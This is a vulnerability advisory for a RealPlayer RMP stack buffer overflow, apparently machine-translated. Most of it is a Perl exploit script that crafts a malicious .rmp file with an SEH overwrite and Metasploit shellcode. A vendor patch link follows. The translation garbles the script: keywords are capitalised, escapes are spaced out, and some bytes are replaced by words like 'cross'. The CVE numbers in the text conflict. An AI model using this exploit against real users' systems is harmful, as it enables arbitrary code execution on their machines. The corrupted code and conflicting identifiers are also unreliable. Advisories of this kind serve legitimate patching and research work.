RealPlayer 'rmp' Remote Stack Buffer Overflow Vulnerability

Release date:
Updated on:

Affected Systems:
Real Networks RealPlayer <17.0.4.61
Real Networks RealPlayer <12.0.1.1738
Description:
--------------------------------------------------------------------------------
Bugtraq id: 64695
CVE (CAN) ID: CVE-2013-7260

RealPlayer is a tool used to listen to and watch real-time audio, video, and Flash on the Internet.

RealNetworks RealPlayer versions earlier than 17.0.4.61 (Windows) and Mac RealPlayer versions earlier than 12.0.1.1738 have multiple stack buffer overflow vulnerabilities. Remote attackers can use the RMP file XML to declare excessive version numbers or encoding declarations, attackers can exploit this vulnerability to execute arbitrary code.

<* Source: Ricardo Narvaja
Gabor Seljan
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

#! /Usr/bin/perl

#-----------------------------------------------------------------------------#
# Exploit Title: RealNetworks RealPlayer Version Attribute Buffer Overflow #
# Date: Dec 20,201 3 #
# Exploit Author: Gabor Seljan #
# Vendorhomepage: http://www.real.com #
# Software Link: http://www.oldapps.com/real.php? Old_real_player = 12814 #
# Version: 16.0.3.51 and 16.0.2.32 #
# Tested on: Windows XP SP2/SP3 (NX )#
# CVE: CVE-2013-6877 #
#-----------------------------------------------------------------------------#

Use strict;
Use warnings;

My $ filename = "sploit. rmp ";

My $ open = "\ x3c \ x3f \ x78 \ x6d \ x6c \ x20 \ x76 \ x65 \ x72 \ x73 \ x69 \ x6f \ x6e \ x3d \ x22 ";
My $ close = "\ x22 \ x3f \ x3e \ x3b ";
My $ junk1 = "\ x41" x 2540; # Offset to SEH when opening via click
My $ junk2 = "\ x41" x 10514; # Offset to SEH when opening via menu
My $ nSEH = "\ xeb \ x06 \ x90 \ x90"; # Overwrite next SEH with JMP (6 bytes)
My $ SEH = pack ('V', 0x641930c8); # pop ret from rpap3260.dll (16.0.3.51)
# My $ SEH = pack ('V', 0x63A630B8); # pop ret from rpap3260.dll (16.0.2.32)
My $ junk3 = "\ x41" x 17000; # Generate exception

# Msfpayload windows/exec strongswan calc.exe
My $ shellcode = "\ xb8 \ x2f \ x9e \ xa9 \ x6f \ xdb \ xdc \ xd9 \ x74 \ x24 \ xf4 \ x5a \ x2b \ xc9 \ xb1 ".
"\ X33 \ x83 \ xea \ xfc \ x31 \ x42 \ x0e \ x03 \ x6d \ x90 \ x4b \ x9a \ x8d \ x44 \ x02 \ x65 \ x6d \ x95 \ x75".
"\ Xef \ x88 \ xa4 \ xa7 \ x8b \ xd9 \ x95 \ x77 \ xdf \ x8f \ x15 \ xf3 \ x8d \ x3b \ xad \ x71 \ x1a \ x4c \ x06".
"\ X3f \ x7c \ x63 \ x97 \ xf1 \ x40 \ x2f \ x5b \ x93 \ x3c \ x2d \ x88 \ x73 \ x7c \ xfe \ xdd \ x72 \ xb9 \ xe2".
"\ X2e \ x26 \ x12 \ x69 \ x9c \ xd7 \ x17 \ x2f \ x1d \ xd9 \ xf7 \ x24 \ x1d \ xa1 \ x72 \ xfa \ xea \ x1b \ x7c".
"\ X2a \ x42 \ x17 \ x36 \ xd2 \ xe8 \ x7f \ xe7 \ xe3 \ x3d \ x9c \ xdb \ xaa \ x4a \ x57 \ xaf \ x2d \ x9b \ xa9".
"\ X50 \ x1c \ xe3 \ x66 \ x6f \ x91 \ xee \ x77 \ xb7 \ x15 \ x11 \ x02 \ xc3 \ x66 \ xac \ x15 \ x10 \ x15 \ x6a".
"\ X93 \ x85 \ xbd \ xf9 \ x03 \ x6e \ x3c \ x2d \ xd5 \ xe5 \ x32 \ x9a \ x91 \ xa2 \ x56 \ x1d \ x75 \ xd9 \ x62".
"\ X96 \ x78 \ x0e \ xe3 \ xec \ x5e \ x8a \ xa8 \ xb7 \ xff \ x8b \ x14 \ x19 \ xff \ xcc \ xf0 \ xc6 \ xa5 \ x87".
"\ X12 \ x12 \ xdf \ xc5 \ x78 \ xe5 \ x6d \ cross V \ xc5 \ xe5 \ x6d \ x7b \ x65 \ x8e \ x5c \ xf0 \ xea \ xc9 \ x60".
"\ Xd3 \ x4f \ x25 \ x2b \ x7e \ xf9 \ xae \ xf2 \ xea \ xb8 \ xb2 \ x04 \ xc1 \ xfe \ xca \ x86 \ xe0 \ x7e \ x29".
"\ X96 \ x80 \ x7b \ x75 \ x10 \ x78 \ xf1 \ xe6 \ xf5 \ x7e \ xa6 \ x07 \ xdc \ x1c \ x29 \ x94 \ xbc \ xcc".
"\ X1c \ x26 \ x11 \ x7f \ x72 \ x75 \ x0a \ xf5 \ x98 \ x79 \ x2f \ xb1 \ x76 \ x30 \ xe0 \ x3f \ x49 \ x74 \ x0d".
"\ X93 \ x42 \ x0c \ xbf \ x92 \ xb8 \ x4e \ xba \ x4a \ xbe \ x99 \ x71 \ x09 \ xf8 \ x14 \ xa9 \ x96 \ x91 \ x7e".
"\ X7c \ x77 \ x27 \ x25 \ x7b \ x38 \ xd6 \ x9b \ x33 \ xd5 \ xb5 \ x31 \ xe1 \ x66 \ xb7 \ xb4 \ x80 \ xd2 \ xfd".
"\ X2d \ xb6 \ x24 \ x43 \ x67 \ x90 \ xb2 \ xbb \ x47 \ x40 \ x73 \ x3c \ x3d \ x97 \ x1c \ x29 \ xd0 \ xf9 \ cross".
"\ X4b \ x78 \ x35 \ x9f \ x4f \ x2c \ xb3 \ x7a \ x05 \ x87 \ xf6 \ xd3 \ xeb \ x48 \ xb0 \ x89 \ xf7 \ xe2 \ x41".
"\ X1d \ x8d \ xb9 \ x15 \ x04 \ x2b \ xfc \ xa8 \ x3a \ xd4 \ x37 \ x7d \ x19 \ xf8 \ x7e \ x08 \ xeb \ x21 \ xe1".
"\ X7b \ x71 \ x75 \ x05 \ x3f \ xbb \ x66 \ x0c \ x93 \ x3c \ x8d \ x98 \ x69 \ xf9 \ x7c \ x27 \ cross 7 \ x48 \ x23".
"\ Xd4 \ x84 \ xf5 \ xbe \ x72 \ x4e \ xa8 \ x9b \ x73 \ x25 \ x41 \ x81 \ xe0 \ x04 \ x40 \ x78 \ x79 \ x43 \ x37".
"\ X7f \ x2c \ x96 \ xb9 \ xbf \ x74 \ x77 \ x1d \ x0d \ x20 \ xfc \ xb4 \ x91 \ xa9 \ xb8 \ x97 \ x4b \ x18 \ xe3".
"\ X49 \ x7d \ x76 \ x3d \ x47 \ xba \ xb5 \ x14 \ x99 \ xb1 \ x24 \ x83 \ xe2 \ x10 \ xfd \ x67 \ x7a \ x4f \ x35".
"\ X9f \ xb6 \ xb3 \ x7d \ x75 \ x32 \ xe2 \ x4a \ x86 \ xd5 \ xb2 \ xb7 \ xb0 \ x77 \ x11 \ xe0 \ x12 \ xd1 \ xeb".
"\ X1c \ x90 \ x7f \ x42 \ x7c \ x2d \ x92 \ x72 \ x2f \ x7a \ x13 \ xc0 \ xd6 \ x76 \ x15 \ x99 \ cross 7 \ x14 \ x8d".
"\ X4e \ xbe \ x96 \ xb7 \ x85 \ xff \ xc1 \ xe1 \ x2d \ xb0 \ x71 \ x1b \ xd5 \ x1d \ x02 \ xe3 \ x04 \ x7b \ x05".
"\ Xb2 \ x73 \ x03 \ xf8 \ xb4 \ x7e \ x1a \ xfd \ xb9 \ x37 \ x42 \ x4b \ xb3 \ x39 \ xf9 \ x25 \ xb5 \ xa8 \ x3d".
"\ Xba \ x92 \ x40 \ x4a \ xb6 \ x24 \ x79 \ x27 \ x0c \ xbb \ x88 \ xfc \ x3c \ x35 \ x97 \ x4f \ x9b \ x47 \ x78".
"\ X15 \ x41 \ x91 \ x66 \ xb1 \ x74 \ x0d \ xbf \ xb8 \ x90 \ x28 \ xd4 \ x2a \ xf5 \ x3f \ x43 \ x93 \ x98 \ x2c".
"\ X1c \ xa9 \ x2f \ x48 \ x9f \ x67 \ x49 \ x3b \ xd6 ";

My $ edevil = $ nSEH. $ SEH. $ shellcode;

My $ sploit = $ open. $ junk1. $ edevil. $ junk2. $ edevil. $ junk3. $ close;

Open (FILE, "> $ filename") | die "[-] Error: \ n $! \ N ";
Print FILE $ sploit;
Close (FILE );

Print "Exploit file created successfully [$ filename]! \ N ";

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Real Networks
-------------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://service.real.com/realplayer/security/
Http://service.real.com/realplayer/security/12202013_player/en/